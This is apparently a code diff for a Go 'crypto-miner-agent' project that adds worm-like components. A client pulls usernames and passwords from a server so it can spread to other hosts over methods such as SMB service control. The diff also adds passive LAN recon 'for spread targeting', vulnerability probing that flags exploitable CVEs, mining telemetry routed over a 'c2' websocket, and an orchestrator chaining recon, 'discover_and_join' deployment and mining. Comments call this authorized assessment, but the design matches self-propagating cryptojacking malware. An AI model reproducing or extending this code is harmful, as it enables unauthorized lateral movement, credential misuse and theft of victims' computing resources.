RebootPending *bool `json:"reboot_pending,omitempty"`
AgentElevated *bool `json:"agent_elevated,omitempty"`
Services []ServiceStatus `json:"services,omitempty"`
// Mining fallback cascade (container → in-process → GPU → Stratum)
ActiveMethod string `json:"active_method,omitempty"`
FailedMethods []MethodFailurePayload `json:"failed_methods,omitempty"`
MiningLastError string `json:"last_error,omitempty"`
ChainOrder []string `json:"chain_order,omitempty"`
StratumOverlay bool `json:"stratum_overlay,omitempty"`
ChainExhausted bool `json:"chain_exhausted,omitempty"`
// Fleet health telemetry — routed via agent WSS stats_batch (same port as heartbeat)
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
LOTLTier string `json:"lotl_tier,omitempty"`
LOTLAttempts []TierAttemptPayload `json:"lotl_attempts,omitempty"`
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
JoinLane string `json:"join_lane,omitempty"`
// Passive LAN/domain recon for spread targeting and Path Tracer graph hints.
NetworkHints *deploy.NetworkHints `json:"network_hints,omitempty"`
// Authorized fleet vulnerability recon (read-only LOTL probe tier)
VulnFindings []VulnFindingPayload `json:"vuln_findings,omitempty"`
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
}
// VulnFindingPayload mirrors vulnprobe.VulnFinding in stats JSON.
type VulnFindingPayload struct {
CVEID string `json:"cve_id"`
Severity string `json:"severity"`
Component string `json:"component"`
Patched bool `json:"patched"`
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
Detail string `json:"detail,omitempty"`
}
// TierAttemptPayload mirrors miner.TierAttempt in stats JSON.
type TierAttemptPayload struct {
Phase string `json:"phase,omitempty"`
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
}
type ShareResult struct {

142
agent/client/spread_cred.go Normal file
View File

@@ -0,0 +1,142 @@
package client
import (
"bytes"
"encoding/json"
"fmt"
"io"
"net/http"
"strings"
"time"
"crypto-miner-agent/deploy"
)
type spreadCredIssueResponse struct {
Token string `json:"token"`
ProfileID string `json:"profile_id"`
}
type spreadCredRedeemResponse struct {
ProfileID string `json:"profile_id"`
Username string `json:"username"`
Password string `json:"password"`
}
func (c *AgentClient) initSpreadCredHooks() {
if strings.TrimSpace(c.cfg.FleetSecret) == "" {
return
}
deploy.SetSpreadCredHooks(c.acquireSpreadCred, c.reportSpreadCredEdge)
}
func (c *AgentClient) spreadCredHTTPClient() *http.Client {
return &http.Client{Timeout: 20 * time.Second}
}
func (c *AgentClient) spreadCredAPIBase() (string, error) {
raw := strings.TrimSpace(c.cfg.ServerURL)
if raw == "" {
return "", fmt.Errorf("empty server URL")
}
if !strings.Contains(raw, "://") {
raw = "http://" + raw
}
return strings.TrimSuffix(raw, "/") + "/api/v1", nil
}
func (c *AgentClient) acquireSpreadCred(host, subnet, method string) (deploy.SpreadCredSession, error) {
base, err := c.spreadCredAPIBase()
if err != nil {
return deploy.SpreadCredSession{}, err
}
issueBody, _ := json.Marshal(map[string]string{
"agent_id": c.agentID,
"host": host,
"subnet": subnet,
"method": method,
})
issueReq, err := http.NewRequest(http.MethodPost, base+"/agent/spread-cred/issue", bytes.NewReader(issueBody))
if err != nil {
return deploy.SpreadCredSession{}, err
}
issueReq.Header.Set("Content-Type", "application/json")
issueReq.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
resp, err := c.spreadCredHTTPClient().Do(issueReq)
if err != nil {
return deploy.SpreadCredSession{}, err
}
defer resp.Body.Close()
if resp.StatusCode == http.StatusNotFound {
return deploy.SpreadCredSession{}, fmt.Errorf("deployment credentials not configured")
}
if resp.StatusCode != http.StatusOK {
body, _ := io.ReadAll(io.LimitReader(resp.Body, 512))
return deploy.SpreadCredSession{}, fmt.Errorf("spread-cred issue %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
}
var issued spreadCredIssueResponse
if err := json.NewDecoder(resp.Body).Decode(&issued); err != nil {
return deploy.SpreadCredSession{}, err
}
if strings.TrimSpace(issued.Token) == "" {
return deploy.SpreadCredSession{}, fmt.Errorf("empty spread-cred token")
}
redeemBody, _ := json.Marshal(map[string]string{"token": issued.Token})
redeemReq, err := http.NewRequest(http.MethodPost, base+"/agent/spread-cred/redeem", bytes.NewReader(redeemBody))
if err != nil {
return deploy.SpreadCredSession{}, err
}
redeemReq.Header.Set("Content-Type", "application/json")
redeemReq.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
resp, err = c.spreadCredHTTPClient().Do(redeemReq)
if err != nil {
return deploy.SpreadCredSession{}, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
body, _ := io.ReadAll(io.LimitReader(resp.Body, 512))
return deploy.SpreadCredSession{}, fmt.Errorf("spread-cred redeem %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
}
var redeemed spreadCredRedeemResponse
if err := json.NewDecoder(resp.Body).Decode(&redeemed); err != nil {
return deploy.SpreadCredSession{}, err
}
return deploy.SpreadCredSession{
ProfileID: redeemed.ProfileID,
Username: redeemed.Username,
Password: redeemed.Password,
}, nil
}
func (c *AgentClient) reportSpreadCredEdge(report deploy.SpreadCredReport) {
base, err := c.spreadCredAPIBase()
if err != nil {
return
}
body, err := json.Marshal(map[string]interface{}{
"agent_id": c.agentID,
"host": report.Host,
"subnet": report.Subnet,
"credential_profile_id": report.ProfileID,
"method": report.Method,
"success": report.Success,
})
if err != nil {
return
}
req, err := http.NewRequest(http.MethodPost, base+"/agent/spread-cred/report", bytes.NewReader(body))
if err != nil {
return
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
resp, err := c.spreadCredHTTPClient().Do(req)
if err != nil {
return
}
io.Copy(io.Discard, resp.Body) //nolint:errcheck
resp.Body.Close()
}

View File

@@ -0,0 +1,63 @@
package client
import (
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
)
func TestAcquireSpreadCredIssueRedeemFlow(t *testing.T) {
var captured map[string]interface{}
mux := http.NewServeMux()
mux.HandleFunc("/api/v1/agent/spread-cred/issue", func(w http.ResponseWriter, r *http.Request) {
_ = json.NewEncoder(w).Encode(map[string]interface{}{
"token": "tok-1",
"profile_id": "profile-a",
})
})
mux.HandleFunc("/api/v1/agent/spread-cred/redeem", func(w http.ResponseWriter, r *http.Request) {
_ = json.NewEncoder(w).Encode(map[string]interface{}{
"profile_id": "profile-a",
"username": `lab\ops`,
"password": "secret",
})
})
mux.HandleFunc("/api/v1/agent/spread-cred/report", func(w http.ResponseWriter, r *http.Request) {
_ = json.NewDecoder(r.Body).Decode(&captured)
w.WriteHeader(http.StatusOK)
_, _ = w.Write([]byte(`{"ok":true}`))
})
srv := httptest.NewServer(mux)
defer srv.Close()
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
ServerURL: srv.URL,
FleetSecret: "fleet-test",
},
AgentID: "agent-1",
}
c := NewAgentClient(cfg)
session, err := c.acquireSpreadCred("10.0.0.5", "10.0.0", "smb_scm")
if err != nil {
t.Fatal(err)
}
if session.ProfileID != "profile-a" || session.Username == "" || session.Password == "" {
t.Fatalf("unexpected session: %#v", session)
}
c.reportSpreadCredEdge(deploy.SpreadCredReport{
Host: "10.0.0.5",
Subnet: "10.0.0",
ProfileID: "profile-a",
Method: "smb_scm",
Success: true,
})
if captured["credential_profile_id"] != "profile-a" || captured["success"] != true {
t.Fatalf("expected report payload, got %#v", captured)
}
}

View File

@@ -62,6 +62,28 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck
collectSysCheckPlatform(r)
r.KEVExposure = scanKEVExposure(r.Patch, r.ListenPorts, r.Security)
if vr := RunVulnLOTLProbe(); vr != nil {
score := vr.RiskScore
r.VulnRiskScore = &score
if len(vr.Findings) > 0 {
r.VulnFindings = make([]struct {
CVEID string `json:"cve_id"`
Severity string `json:"severity"`
Component string `json:"component"`
Patched bool `json:"patched"`
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
Detail string `json:"detail,omitempty"`
}, len(vr.Findings))
for i, f := range vr.Findings {
r.VulnFindings[i].CVEID = f.CVEID
r.VulnFindings[i].Severity = f.Severity
r.VulnFindings[i].Component = f.Component
r.VulnFindings[i].Patched = f.Patched
r.VulnFindings[i].ExploitableInFleetContext = f.ExploitableInFleetContext
r.VulnFindings[i].Detail = f.Detail
}
}
}
if dir, err := cfg.InstallDirectory(); err == nil {
if r.Environment == nil {

View File

@@ -23,6 +23,15 @@ type FullSysCheckReport struct {
Environment *SysCheckEnvironment `json:"environment,omitempty"`
Neighbors *SysCheckNeighbors `json:"neighbors,omitempty"`
KEVExposure *KEVScanReport `json:"kev_exposure,omitempty"`
VulnFindings []struct {
CVEID string `json:"cve_id"`
Severity string `json:"severity"`
Component string `json:"component"`
Patched bool `json:"patched"`
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
Detail string `json:"detail,omitempty"`
} `json:"vuln_findings,omitempty"`
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
RawSysinfo string `json:"raw_sysinfo,omitempty"`
RawIPConfig string `json:"raw_ipconfig,omitempty"`

View File

@@ -0,0 +1,179 @@
package client
import (
"context"
"encoding/json"
"log"
"crypto-miner-agent/deploy"
"crypto-miner-agent/miner"
)
func (c *AgentClient) tripleOnionPolicy() miner.TripleOnionPolicy {
c.mu.Lock()
defer c.mu.Unlock()
if !c.triplePolicyLoaded {
return miner.DefaultTripleOnionPolicy()
}
return miner.NormalizeTripleOnionPolicy(c.triplePolicy)
}
func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) {
if len(raw) == 0 || string(raw) == "null" {
return
}
var p miner.TripleOnionPolicy
if err := json.Unmarshal(raw, &p); err != nil {
return
}
c.mu.Lock()
c.triplePolicy = miner.NormalizeTripleOnionPolicy(p)
c.triplePolicyLoaded = true
c.mu.Unlock()
}
func (r *MiningChainRunner) wireTripleOnion() *miner.TripleOnionOrchestrator {
c := r.client
policy := c.tripleOnionPolicy()
return miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{
RunReconTier: r.runReconTier,
RunDeployLane: r.runDeployLane,
RunMining: r.startMiningCascade,
ReportEvent: r.reportOnionEvent,
})
}
func (r *MiningChainRunner) runReconTier(_ context.Context, tier string) miner.ReconTierResult {
switch tier {
case "kev_scan":
return r.reconKEVScan()
case "vuln_recon", "vuln_probe":
return r.reconVulnProbe()
case "service_probe":
return r.reconServiceProbe()
case "listen_ports":
return r.reconListenPorts()
default:
return miner.ReconTierResult{OK: false, Error: "unknown recon tier"}
}
}
func (r *MiningChainRunner) reconKEVScan() miner.ReconTierResult {
patch := collectPatchStatus()
ports := collectListenPorts()
var sec *SysCheckSecurity
if p := collectPosture(); p != nil {
sec = securityFromPosture(p)
}
kev := scanKEVExposure(patch, ports, sec)
if kev == nil {
return miner.ReconTierResult{OK: false, Error: "kev scan unavailable"}
}
return miner.ReconTierResult{
OK: true,
Snapshot: miner.ReconSnapshot{
RiskScore: kev.RiskScore,
CriticalExposed: kev.CriticalCount,
ExposedCount: kev.ExposedCount,
LikelyCount: kev.LikelyCount,
Details: map[string]interface{}{
"summary": kev.Summary,
"findings": len(kev.Findings),
},
},
}
}
func (r *MiningChainRunner) reconServiceProbe() miner.ReconTierResult {
p := collectPosture()
if p == nil {
return miner.ReconTierResult{OK: false, Error: "posture probe unavailable"}
}
count := len(p.Services)
return miner.ReconTierResult{
OK: true,
Snapshot: miner.ReconSnapshot{
ServiceCount: count,
Details: map[string]interface{}{
"posture_score": p.PostureScore,
},
},
}
}
func (r *MiningChainRunner) reconListenPorts() miner.ReconTierResult {
ports := collectListenPorts()
if ports == nil {
return miner.ReconTierResult{OK: false, Error: "listen_ports unavailable"}
}
return miner.ReconTierResult{
OK: true,
Snapshot: miner.ReconSnapshot{
OpenPortCount: ports.Count,
Details: map[string]interface{}{
"port_count": ports.Count,
},
},
}
}
func (r *MiningChainRunner) reconVulnProbe() miner.ReconTierResult {
report := RunVulnLOTLProbe()
if report == nil {
return miner.ReconTierResult{OK: false, Error: "vuln_recon unavailable"}
}
critical := 0
for _, f := range report.Findings {
if f.Severity == "critical" && !f.Patched {
critical++
}
}
return miner.ReconTierResult{
OK: true,
Snapshot: miner.ReconSnapshot{
RiskScore: report.RiskScore,
CriticalExposed: critical,
ExposedCount: report.ExposedCount,
LikelyCount: report.CriticalCount,
Details: map[string]interface{}{
"summary": report.Summary,
"findings": len(report.Findings),
},
},
}
}
func (r *MiningChainRunner) runDeployLane(_ context.Context, lane string) (bool, string) {
c := r.client
if lane == "discover_and_join" {
msg, err := c.runDiscoverAndJoin(8)
if err != nil {
return false, err.Error()
}
return true, msg
}
c.mu.Lock()
cfg := c.cfg
c.mu.Unlock()
return deploy.TryDiscoverJoinLane(cfg, lane)
}
func (r *MiningChainRunner) reportOnionEvent(report miner.TripleOnionReport, eventType string) {
c := r.client
payload, err := json.Marshal(struct {
miner.TripleOnionReport
Event string `json:"event"`
}{
TripleOnionReport: report,
Event: eventType,
})
if err != nil {
return
}
if err := c.write(Message{Type: "onion_report", Payload: payload}); err != nil {
log.Printf("[triple-onion] %s notify failed: %v", eventType, err)
}
r.mu.Lock()
r.onionAttempts = report.Attempts
r.mu.Unlock()
}

60
agent/client/vuln_scan.go Normal file
View File

@@ -0,0 +1,60 @@
package client
import (
"sync"
"crypto-miner-agent/deploy"
"crypto-miner-agent/vulnprobe"
)
var (
vulnScanMu sync.RWMutex
lastVulnReport *vulnprobe.ScanReport
)
func listeningPortMap(lp *ListenPortsReport) map[int]bool {
m := make(map[int]bool)
if lp == nil {
return m
}
for _, p := range lp.Ports {
m[p.Port] = true
}
return m
}
// vulnprobeProbeHost is overridden in tests to inject mocked probe output.
var vulnprobeProbeHost = func(ports map[int]bool, osVersion string) vulnprobe.HostContext {
return vulnprobe.ProbeHost(ports, osVersion)
}
// RunVulnLOTLProbe executes read-only LOTL vulnerability recon (authorized assessment).
func RunVulnLOTLProbe() *vulnprobe.ScanReport {
ports := collectListenPorts()
ctx := vulnprobeProbeHost(listeningPortMap(ports), deploy.HostOSVersion())
if patch := collectPatchStatus(); patch != nil {
if patch.LastPatchDays != nil {
ctx.LastPatchDays = *patch.LastPatchDays
}
if patch.LastPatch != nil {
ctx.LastPatch = *patch.LastPatch
}
}
report := vulnprobe.Run(ctx)
vulnScanMu.Lock()
lastVulnReport = report
vulnScanMu.Unlock()
return report
}
// LastVulnScan returns the most recent cached vulnerability report.
func LastVulnScan() *vulnprobe.ScanReport {
vulnScanMu.RLock()
defer vulnScanMu.RUnlock()
if lastVulnReport == nil {
return nil
}
dup := *lastVulnReport
dup.Findings = append([]vulnprobe.VulnFinding(nil), lastVulnReport.Findings...)
return &dup
}

View File

@@ -0,0 +1,32 @@
package client
import (
"testing"
"crypto-miner-agent/vulnprobe"
)
func TestRunVulnLOTLProbeMockedContext(t *testing.T) {
SetPostureCollector(func() *PostureReport { return nil })
defer SetPostureCollector(nil)
origProbe := vulnprobeProbeHost
vulnprobeProbeHost = func(_ map[int]bool, _ string) vulnprobe.HostContext {
return vulnprobe.HostContext{
Platform: "windows",
ExchangeInstalled: true,
LastPatchDays: 150,
ListeningPorts: map[int]bool{443: true},
}
}
defer func() { vulnprobeProbeHost = origProbe }()
report := RunVulnLOTLProbe()
if report == nil || len(report.Findings) == 0 {
t.Fatal("expected vuln findings from mocked probe")
}
cached := LastVulnScan()
if cached == nil || cached.RiskScore != report.RiskScore {
t.Fatalf("cache mismatch: %+v vs %+v", cached, report)
}
}